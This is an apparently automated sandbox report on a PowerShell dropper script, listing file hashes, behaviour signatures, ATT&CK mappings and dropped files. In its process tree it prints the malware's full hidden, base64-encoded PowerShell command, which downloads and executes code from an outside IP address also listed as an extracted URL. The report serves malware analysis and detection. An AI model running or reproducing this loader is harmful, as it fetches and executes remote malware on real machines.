d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6

General

Target

d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6.ps1
Size

1KB
MD5

506ab5ff15cbec266b783816aca9f5d0
SHA1

761fe13954ee140c3a32a058ca7654a3a6090a02
SHA256

d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6
SHA512

b8680737d8afe1dd1fff2a6ca919630c033cb5b7233a5f2bfebf7b629f28f341ffd4eb47b2a14df5d56b21187107c8fdf79fc7d93ace39891571108ca51aeece

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://207.154.255.134:8443/ZIen7RH/1zFNrVrn0

ps1.dropper

http://207.154.255.134:8443/ZIen7RH

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	4436	powershell.exe
15	4436	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3488	powershell.exe
4436	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3488	powershell.exe
3488	powershell.exe
4436	powershell.exe
4436	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3488 wrote to memory of 4436	3488	powershell.exe	84
PID 3488 wrote to memory of 4436	3488	powershell.exe	84

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAE4AbwBpAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwATgBvAGkALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAE4AbwBpAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADcALgAxADUANAAuADIANQA1AC4AMQAzADQAOgA4ADQANAAzAC8AWgBJAGUAbgA3AFIASAAvADEAegBGAE4AcgBWAHIAbgAwACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAyADAANwAuADEANQA0AC4AMgA1ADUALgAxADMANAA6ADgANAA0ADMALwBaAEkAZQBuADcAUgBIACcAKQApADsA
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fsnh1mxq.by4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3488-27-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/3488-10-0x000001D76E6F0000-0x000001D76E712000-memory.dmp

Filesize
136KB

Download
memory/3488-11-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/3488-12-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/3488-34-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/3488-0-0x00007FFDAEF33000-0x00007FFDAEF35000-memory.dmp

Filesize
8KB

Download
memory/4436-23-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/4436-26-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/4436-30-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/4436-25-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/4436-24-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/4436-22-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing